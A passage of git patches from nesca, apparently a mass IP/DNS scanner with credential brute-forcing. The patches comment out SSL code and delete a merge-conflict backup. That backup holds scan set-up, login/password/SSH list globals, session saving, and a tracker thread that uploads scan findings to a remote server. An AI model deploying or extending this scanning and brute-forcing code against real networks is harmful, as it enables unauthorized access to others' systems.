NULL) - { - SSL_set_fd(ssl, sock); /* attach the socket descriptor */ - if(SSL_connect(ssl)) - { - SSL_write(ssl, request, strlen(request)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); +// if(ctx != NULL) +// { +// SOCKET sock; +// SSL_CTX_set_timeout(ctx, gTimeOut); +// int result = OpenConnection(&sock, ip, 443); +// if(result >= 0) +// { +// SSL *ssl = NULL; +// ssl = SSL_new(ctx); /* create new SSL connection state */ +// if(ssl != NULL) +// { +// SSL_set_fd(ssl, sock); /* attach the socket descriptor */ +// if(SSL_connect(ssl)) +// { +// SSL_write(ssl, request, strlen(request)); +// if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); - char tempBuff[128] = {0}; - int x = 1; - int xx = 0; +// char tempBuff[128] = {0}; +// int x = 1; +// int xx = 0; - ZeroMemory(rvBuff, sizeof(*rvBuff)); - while(xx < 512) - { - x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); - if(x <= 0) break; - Activity += x; - xx += x; - strncat(rvBuff, tempBuff, x); - ZeroMemory(tempBuff, sizeof(tempBuff)); - }; +// ZeroMemory(rvBuff, sizeof(*rvBuff)); +// while(xx < 512) +// { +// x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); +// if(x <= 0) break; +// Activity += x; +// xx += x; +// strncat(rvBuff, tempBuff, x); +// ZeroMemory(tempBuff, sizeof(tempBuff)); +// }; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); - }; - SSL_shutdown(ssl); - SSL_free(ssl); - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - return; - }; - }; - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - } - else - { - char buff1[512] = {0}; - char buff2[512] = {0}; +// if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); +// if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); +// }; +// SSL_shutdown(ssl); +// SSL_free(ssl); +// CSSOCKET(sock); +// SSL_CTX_free(ctx); /* release context */ +// return; +// }; +// }; +// CSSOCKET(sock); +// SSL_CTX_free(ctx); /* release context */ +// } +// else +// { +// char buff1[512] = {0}; +// char buff2[512] = {0}; - ERR_error_string(ERR_peek_error(), buff1); - ERR_error_string(ERR_peek_last_error(), buff2); - stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); - }; -} +// ERR_error_string(ERR_peek_error(), buff1); +// ERR_error_string(ERR_peek_last_error(), buff2); +// stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); +// }; +//} char *_getAttributeValue(char *str, char *val, char *ip, int port) { diff --git a/nesca.pro b/nesca.pro index 6f76b91..5df5184 100644 --- a/nesca.pro +++ b/nesca.pro @@ -86,12 +86,8 @@ OTHER_FILES += \ nesca_3.rc -unix|win32: LIBS += -lssl - unix|win32: LIBS += -lssh unix|win32: LIBS += -lcrypto -unix|win32: LIBS += -lpthread - unix|win32: LIBS += -lcurl diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 67e82bd..deac4ec 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -2124,9 +2124,6 @@ void runAuxiliaryThreads() { int startScan(char* args) { curl_global_init(CURL_GLOBAL_ALL); - SSL_library_init(); - OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ - SSL_load_error_strings(); /* Bring in and register error messages */ horLineFlag = false; flCounter = 0; @@ -2146,7 +2143,6 @@ int startScan(char* args) { ZeroMemory(ipsend, sizeof(ipsend)); #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - //std::string OutputFolder = std::string(RESULT_DIR_NAME); CreateDirectoryA(RESULT_DIR_NAME, NULL); #else struct stat str = {0}; @@ -2183,10 +2179,10 @@ int startScan(char* args) { _passLoginLoader(); _NegativeLoader(); - if (gMode == 0) - { - runAuxiliaryThreads(); + runAuxiliaryThreads(); + if (gMode == 0) + { unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; @@ -2247,9 +2243,7 @@ int startScan(char* args) { } } else if (gMode == 1) - { - runAuxiliaryThreads(); - + { strcpy(top_level_domain, gFirstDom); char dataEntry[1024] = { 0 }; @@ -2301,6 +2295,7 @@ int startScan(char* args) { memset(dataEntry + innerCounter++, saveEndIP[i], 1); }; }; + memset(dataEntry + innerCounter + 1, '\0', 1); for (int i = 0; i < sz; ++i) @@ -2376,8 +2371,6 @@ int startScan(char* args) { return -1; }; - runAuxiliaryThreads(); - stt->doEmitionChangeStatus("Scanning..."); for (gC = 0; gC < flCounter; ++gC) { @@ -2476,6 +2469,7 @@ int startScan(char* args) { void nCleanup(){ Threader::cleanUp(); + curl_global_cleanup(); if(loginLst != NULL) { @@ -2491,10 +2485,7 @@ void nCleanup(){ }; if(GlobalNegatives != NULL) { - for(int i = 0; i < GlobalNegativeSize; ++i) - { - delete []GlobalNegatives[i]; - }; + for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i]; delete []GlobalNegatives; GlobalNegatives = NULL; }; From 7a9b19553ad0af7c147547e6560257b35e654fdb Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Mon, 23 Mar 2015 11:18:04 +0300 Subject: [PATCH 44/66] Fixing merge conflict 2 --- .gitignore | 5 + nesca_startModule.cpp.BACKUP.3450.cpp | 2534 ------------------------ nesca_startModule.cpp.BASE.3450.cpp | 2537 ------------------------- nesca_startModule.cpp.LOCAL.3450.cpp | 2528 ------------------------ nesca_startModule.cpp.REMOTE.3450.cpp | 2533 ------------------------ 5 files changed, 5 insertions(+), 10132 deletions(-) delete mode 100644 nesca_startModule.cpp.BACKUP.3450.cpp delete mode 100644 nesca_startModule.cpp.BASE.3450.cpp delete mode 100644 nesca_startModule.cpp.LOCAL.3450.cpp delete mode 100644 nesca_startModule.cpp.REMOTE.3450.cpp diff --git a/.gitignore b/.gitignore index 659b161..4fb5242 100644 --- a/.gitignore +++ b/.gitignore @@ -32,3 +32,8 @@ version lisca.cpp main - копия.cpp result_files-* +*.BACKUP.* +*.LOCAL.* +*.REMOTE.* +*.BASE.* + diff --git a/nesca_startModule.cpp.BACKUP.3450.cpp b/nesca_startModule.cpp.BACKUP.3450.cpp deleted file mode 100644 index 934890d..0000000 --- a/nesca_startModule.cpp.BACKUP.3450.cpp +++ /dev/null @@ -1,2534 +0,0 @@ -#include "STh.h" -#include "mainResources.h" -#include "externData.h" -#include "externFunctions.h" -#include "Connector.h" -#include "Threader.h" -#include <thread> - -QJsonArray *jsonArr = new QJsonArray(); - -bool gShuffle = true; -bool __savingBackUpFile = false; -bool horLineFlag = false; -static int portArr[65536] = {0}; -int gThreadDelay = 10; -int gC = 0; -int gTimeOut = 3; -int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0; -int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0; -int GlobalNegativeSize = 0; -int ipCounter = 0; -int mode; -int found = 0, indexIP = 1; -int gMode; -int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0; -int ipsstart[4], ipsend[4], - overallPorts, flCounter, octet[4]; -int BA = 0; -int gPingTimeout = 1; -unsigned int Activity = 0; - -unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; -double ips = 0; -char top_level_domain[128] = {0}; -char endIP2[128] = {0}; -char **GlobalNegatives = 0; -char **loginLst, **passLst; -char **wfLoginLst, **wfPassLst; -char **sshlpLst; -char saveEndIP[128] = {0}; -char gRange[128] = {0}; -char gFirstDom[128] = {0}; -char gPorts[65536] = {0}; -char metaRange[256] = {0}; -char metaPercent[256] = {0}; -char metaIPS[256] = {0}; -char metaTargets[256] = {0}; -char metaETA[256] = {0}; -char metaOffline[256] = {0}; - -char currentIP[MAX_ADDR_LEN] = {0}; -char finalIP[32] = {0}; - -bool ErrLogFirstTime = true; -bool gPingNScan = false; -long long unsigned int gTargets = 0, gTargetsOverall = 1, targets; -volatile int gThreads; -volatile int cons = 0; -volatile int BrutingThrds = 0; -volatile int threads = 20; - -void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv) -{ - FILE *errFile = fopen("./logs/ns-track_errors.html", "r"); - if(errFile != NULL) - { - fclose(errFile); - }; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - CreateDirectory(L"./logs", NULL); -#else - struct stat st = {0}; - if (stat("./logs", &st) == -1) { - mkdir("./logs", 0700); - } -#endif - time_t rtime; - time(&rtime); - char cdate[32] = {0}; - strcpy (cdate, ctime (&rtime)); - - char *totalErrLog = NULL; - char stylePart[] = {"<style>html{background-color:#373737;}#mainblock{background-color:#646464;width:100%;border:1px dotted black;}#sender-time{color:#ffffff;}#msr{color:#b9b9b9;}#msc{width:99,8%;border:1px solid black;}pre{width:99,8%;border:1px solid gray;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;white-space:pre-wrap;word-wrap:break-word;}</style>"}; - char firstPart[] = {"<div id=\"mainblock\"><div id=\"sender-time\">"}; - char secondPart[] = {"</div><span id=\"msr\">Message sent:</span><pre>"}; - char thirdPart[] = {"</pre><span id=\"msr\">Reply received:</span><pre><iframe width=\"100%\" height=\"600px\" id=\"msc\" src=\"data:text/html;base64,"}; - char forthPart[] = {"\"></iframe></pre></div>"}; - - int sz = strlen(stylePart) + strlen(firstPart) + strlen(secondPart) + strlen(thirdPart) + strlen(forthPart) + strlen(QByteArray(MesSent).replace("\r\n", "\n").data()) + (strlen(ReplRecv) + 50*strlen(ReplRecv)/100) + strlen(cdate) + strlen(sender); - - totalErrLog = new char[sz + 4]; - ZeroMemory(totalErrLog, sz); - if(ErrLogFirstTime) strcat(totalErrLog, stylePart); - strcat(totalErrLog, firstPart); - strcat(totalErrLog, sender); - strcat(totalErrLog, " - "); - strcat(totalErrLog, cdate); - strcat(totalErrLog, secondPart); - strcat(totalErrLog, QByteArray(MesSent).replace("\r\n", "\n").data()); - strcat(totalErrLog, thirdPart); - strcat(totalErrLog, base64_encode((const unsigned char *)ReplRecv, strlen(ReplRecv)).c_str()); - strcat(totalErrLog, forthPart); - memset(totalErrLog + sz, '\0', 1); - - errFile = fopen("./logs/ns-track_errors.html", "a"); - if(errFile != NULL) - { - fwrite(totalErrLog, sz, 1, errFile); - fclose(errFile); - } - else - { - stt->doEmitionRedFoundData("[Log] -Cant open log file!"); - }; - if(totalErrLog != NULL) - { - delete []totalErrLog; - totalErrLog = NULL; - }; -} - -QString GetNSErrorDefinition(const char *str, const char *elem) -{ - const char *temp = strstr(str, elem); - - if(temp != NULL) - { - char definition[128] = {0}; - const char *firstComma = strstr(temp + strlen(elem) + 1, "\""); - const char *lastComma = strstr(firstComma + 1, "\""); - - int sz = lastComma - firstComma - 1; - - strncpy(definition, firstComma + 1, (sz < 128 ? sz : 128)); - - return QString(definition); - } - else return QString("No definition found!"); -} - -void ConInc() -{ - ++ipCounter; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -__asm - { - lock inc cons; - }; -#else - asm("lock; incl cons"); -#endif - - stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -} - -void ConDec() -{ - if(cons > 0) - { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - __asm - { - lock dec cons; - }; -#else - asm("lock; decl cons"); -#endif - - }; - - stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); -} - -void _SaveBackupToFile() -{ - char saveStr[512] = {0}; - char saveBuffer[4096] = {0}; - char endStr[128] = {0}; - - if(gMode == 0 || gMode == 1) - { - if(gMode == 1) - { - strcpy(endStr, currentIP); - } - else - { - sprintf(endStr, "%s-%s", currentIP, finalIP); - }; - - if(strlen(endStr) > 0) - { - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " "); - strcat(saveStr, endStr); - if(gMode == 1) - { - strcat(saveStr, " "); - strcat(saveStr, top_level_domain); - }; - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - }; - } - else if(gMode == -1) - { - char ipRange[128] = {0}; - - if(flCounter > 0) - { - FILE *savingFile = fopen("tempIPLst.bk", "w"); - if (savingFile != NULL) - { - for(int tCounter = gC; tCounter < flCounter; ++tCounter) - { - sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n", - ipsstartfl[tCounter][0], ipsstartfl[tCounter][1], ipsstartfl[tCounter][2], ipsstartfl[tCounter][3], - ipsendfl[tCounter][0], ipsendfl[tCounter][1], ipsendfl[tCounter][2], ipsendfl[tCounter][3]); - - fputs(ipRange, savingFile); - - ZeroMemory(ipRange, sizeof(ipRange)); - }; - fclose(savingFile); - } - else stt->doEmitionRedFoundData("[_saver] Cannot open file."); - }; - - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " RESTORE_IMPORT_SESSION"); - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - }; - - strcpy(saveStr, "[NDBSERVER]:"); - strcat(saveStr, trcSrv); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[NDBSCRIPT]:"); - strcat(saveStr, trcScr); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[NDBPORT]:"); - strcat(saveStr, trcSrvPortLine); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PROXY]:"); - strcat(saveStr, trcProxy); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PROXYPORT]:"); - strcat(saveStr, trcPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCSERVER]:"); - strcat(saveStr, ircServer); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPORT]:"); - strcat(saveStr, ircPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPROXY]:"); - strcat(saveStr, ircProxy); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCPROXYPORT]:"); - strcat(saveStr, ircProxyPort); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[IRCNICK]:"); - strcat(saveStr, ircNick); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PING]:"); - strcat(saveStr, gPingNScan ? "true" : "false"); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[THREAD_DELAY]: %d\n", gThreadDelay); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[SYSTEMPROXYIP]: %s\n", gProxyIP); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - sprintf(saveStr, "[SYSTEMPROXYPORT]: %s\n", gProxyPort); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - strcpy(saveStr, "[PERSKEY]:"); - strncat(saveStr, trcPersKey, 32); - strcat(saveStr, "\n"); - strcat(saveBuffer, saveStr); - ZeroMemory(saveStr, sizeof(saveStr)); - - FILE *savingFile = fopen("restore", "w"); - - if (savingFile != NULL) - { - fputs(saveBuffer, savingFile); - fclose(savingFile); - } - else stt->doEmitionRedFoundData("[_saver] Cannot open file."); - - ZeroMemory(saveStr, strlen(saveStr)); - ZeroMemory(saveBuffer, strlen(saveBuffer)); -} - -void _saver() -{ - while(globalScanFlag) - { - __savingBackUpFile = true; - _SaveBackupToFile(); - __savingBackUpFile = false; - Sleep(10000); - }; -} - -void _timer() { - char dbuffer[32] = {0}, timeLeft[64] = {0}, b[32] = {0}; - int ticks = 0; - int ovrlIPs = 0; - ips = 1; - Sleep(50); - - while(globalScanFlag) - { - ++ticks; - ovrlIPs += ipCounter; - ipCounter = 0; - ips = ovrlIPs/ticks; - strncpy(b, QString::number(ips).toLocal8Bit().data(), 5); - - strcpy(metaIPS, b); - strcat(timeLeft, b); - strcat(timeLeft, "/s ("); - - if(ips > 0) - { - strncpy(dbuffer, std::to_string(((gTargets + 1)/ips/3600/24)).c_str(), 5); - } - else strcpy(dbuffer, "INF"); - strcpy(metaETA, dbuffer); - strcat(dbuffer, "d)"); - strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer)); - - - stt->doEmitionIPS(QString(timeLeft)); - stt->doEmitionOffline(QString::number(offlines)); - - ZeroMemory(timeLeft, sizeof(timeLeft)); - ZeroMemory(dbuffer, sizeof(dbuffer)); - Sleep(1000); - }; -} - -void _tracker() { - while(true) { - while(!trackerOK) Sleep(1000); - - if(globalScanFlag == false && jsonArr->size() == 0) break; - char rBuffT[250000] = {0}; - char *msg = new char[4096]; - ZeroMemory(msg, sizeof(*msg)); - char ndbServer[64] = {0}; - char ndbScriptT[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET /"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.1\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - if(send(sock, msg, strlen(msg), 0) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - char rBuff[512] = {0}; - int test = recv(sock, rBuff, sizeof(rBuff), 0); - strcpy(rBuffT, rBuff); - - while((test = recv(sock, rBuff, sizeof(rBuff), 0)) != 0) - { - if(strlen(rBuffT) > 200000) - { - stt->doEmitionRedFoundData("[NS-Track] (Outer) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); - SaveErrorLog("NS-Track", msg, rBuffT); - break; - }; - strcat(rBuffT, rBuff); - }; - - if(test == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - char *t1; - char *t2; - if(strstr(rBuffT, "http://") != NULL) - { - t1 = strstr(rBuffT, "http://"); - if(strstr((char*)(t1 + 7), "/") != NULL) - { - t2 = strstr((char*)(t1 + 7), "/"); - int ln = t2 - t1 - 7; - if(ln > 64) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - SaveErrorLog("NS-Track", msg, rBuffT); - - continue; - } - else strncpy(ndbServer, (char*)(t1 + 7), ln); - - if(strlen(t2) > 64) - { - - stt->doEmitionYellowFoundData("[NS-Track] -Fragmentation detected!"); - - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - - SaveErrorLog("NS-Track", msg, rBuffT); - continue; - } - else - { - strncpy(ndbScriptT, t2, y); - CSSOCKET(sock); - - stt->doEmitionGreenFoundData("[NS-Track] -OK! -Fragmented server string aquired! Starting NS-Track loop..."); - - strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) ); - }; - } - else - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Received server string is not valid!"); - - SaveErrorLog("NS-Track", msg, rBuffT); - continue; - }; - } - else - { - strcpy(ndbScriptT, t2); - - stt->doEmitionGreenFoundData("[NS-Track] -OK! -Server string aquired! Starting NS-Track loop..."); - - CSSOCKET(sock); - strncpy(ndbScript, ndbScriptT, strlen(ndbScriptT) - 2 ); - }; - } - else - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -Cannot receive script value!"); - - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - CSSOCKET(sock); - - while(true) - { - if(globalScanFlag == false && jsonArr->size() == 0) break; - if(!trackerOK) { - Sleep(1000); - continue; - }; - - if(jsonArr->size() > 0) - { - QJsonObject jsonKey; - if(jsonArr == NULL) jsonArr = new QJsonArray(); - - QJsonObject jsonMeta; - if(mode == 0) jsonMeta.insert("mode", QJsonValue(QString("IP"))); // - else if(mode == 1) jsonMeta.insert("mode", QJsonValue(QString("DNS"))); //Mode - else if(mode == -1) jsonMeta.insert("mode", QJsonValue(QString("Import"))); // - jsonMeta.insert("range", QJsonValue(QString(metaRange)) ); - jsonMeta.insert("current", QJsonValue(QString(currentIP)) ); - if(mode == 1) jsonMeta.insert("tld", QJsonValue(QString(top_level_domain))); //TLD - jsonMeta.insert("targets", QJsonValue(QString(metaTargets)) ); - jsonMeta.insert("percent", QJsonValue(QString(metaPercent)) ); - jsonMeta.insert("saved", QJsonValue(QString::number(saved)) ); - jsonMeta.insert("found", QJsonValue(QString::number(found)) ); - jsonMeta.insert("speed", QJsonValue(QString(metaIPS)) ); - jsonMeta.insert("eta", QJsonValue(QString(metaETA)) ); - jsonMeta.insert("threads", QJsonValue(QString::number(cons) + "/" + QString::number(gThreads)) ); - jsonMeta.insert("bads", QJsonValue(QString::number(offlines)) ); - jsonMeta.insert("version", QJsonValue(QString(gVER)) ); - - jsonArr->push_front(QJsonValue(jsonMeta) ); - memset(trcPersKey + 32, '\0', 1); - jsonKey.insert("key", QJsonValue(QString(trcPersKey)) ); - jsonArr->push_front(jsonKey); - - QJsonDocument js; - js.setArray(*jsonArr); - QByteArray r = js.toJson(); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - if(msg != NULL) - { - delete []msg; - msg = 0; - }; - - msg = new char[r.size() + 1024]; - ZeroMemory(msg, sizeof(*msg)); - - strcpy(msg, "POST /"); - strcat(msg, ndbScript); - strcat(msg, " HTTP/1.1\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nContent-Type: application/json\r\nAccept-Encoding: application/json\r\nContent-Length: "); - strcat(msg, std::to_string(r.size()).c_str()); - strcat(msg, "\r\nConnection: close\r\n\r\n"); - - strcat(msg, r.data()); - - delete jsonArr; - jsonArr = new QJsonArray(); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Connecting to " + QString(ndbServer)); - }; - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == -1) - { - CSSOCKET(sock); - - - stt->doEmitionRedFoundData("[NS-Track] -connect() returned " + QString::number(WSAGetLastError()) + "."); - - continue; - }; - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Sending!"); - stt->doEmitionDebugFoundData("Key: [" + QString(trcPersKey) + "]"); - stt->doEmitionDebugFoundData("MSG: [" + QString(msg) + "]"); - }; - - if(send(sock, msg, strlen(msg), 0) == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -send() returned " + QString::number(WSAGetLastError()) + "."); - - SaveErrorLog("NS-Track", msg, ""); - continue; - }; - - ZeroMemory(rBuffT, sizeof(rBuffT)); - char msgR[32] = {0}; - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Receiving..."); - }; - - test = recv(sock, rBuff, 512, 0); - - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); - }; - - strncpy(msgR, rBuff, 32); - strcpy(rBuffT, rBuff); - while(test > 0) - { - if(test <= 0) break; - - if(strlen(rBuffT) > 200000) - { - stt->doEmitionRedFoundData("[NS-Track] (Inner) -Large error received from server (>200000b) " + QString::number(WSAGetLastError()) + "."); - SaveErrorLog("NS-Track", msg, rBuffT); - break; - }; - strcat(rBuffT, rBuff); - test = recv(sock, rBuff, 512, 0); - if(gDebugMode) - { - stt->doEmitionDebugFoundData("Received: " + QString(rBuff)); - }; - }; - - if(test == -1) - { - CSSOCKET(sock); - - stt->doEmitionRedFoundData("[NS-Track] -recv() returned " + QString::number(WSAGetLastError()) + "."); - - SaveErrorLog("NS-Track", msg, ""); - continue; - }; - - if(strstr(rBuffT, "201 Created") != NULL) - { - - if(gDebugMode) stt->doEmitionYellowFoundData("[NS-Track] -OK. Data saved!"); - stt->doEmitionDataSaved(true); - Sleep(1000); - stt->doEmitionDataSaved(false); - - } - else if(strstr(rBuffT, "400 Bad Request") != NULL) - { - - QString errorDef = GetNSErrorDefinition(rBuffT, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + errorDef + "]"); - - SaveErrorLog("NS-Track", msg, rBuffT); - } - else - { - stt->doEmitionYellowFoundData("[NS-Track] -FAIL! An error occured [" + QString(msgR) + "]"); - SaveErrorLog("NS-Track", msg, rBuffT); - }; - - ZeroMemory(msgR, sizeof(msgR)); - ZeroMemory(rBuffT, sizeof(rBuffT)); - ZeroMemory(msg, sizeof(*msg)); - - if(msg != NULL) - { - delete msg; - msg = NULL; - }; - - CSSOCKET(sock); - }; - Sleep(10000); - }; - } - else - { - stt->doEmitionRedFoundData("[NS-Track] -Balancer replied with invalid string."); - SaveErrorLog("NS-Track", msg, rBuffT); - }; - - CSSOCKET(sock); - } -} - -unsigned long int numOfIps(int ipsstart[], int ipsend[]) { - gTargets += 16777216 * (ipsend[0] - ipsstart[0]); - gTargets += 65536 * (ipsend[1] - ipsstart[1]); - gTargets += 256 * (ipsend[2] - ipsstart[2]); - gTargets += (ipsend[3] - ipsstart[3]); - gTargetsOverall = gTargets - 1; - - //unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; - //unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - //unsigned long gTargets = ip2 - ip1; - - return gTargets; -} - -void _connect() { - string ip = ""; - while (globalScanFlag) { - std::unique_lock<std::mutex> lk(Threader::m); - Threader::cv.wait(lk, []{return Threader::ready; }); - if 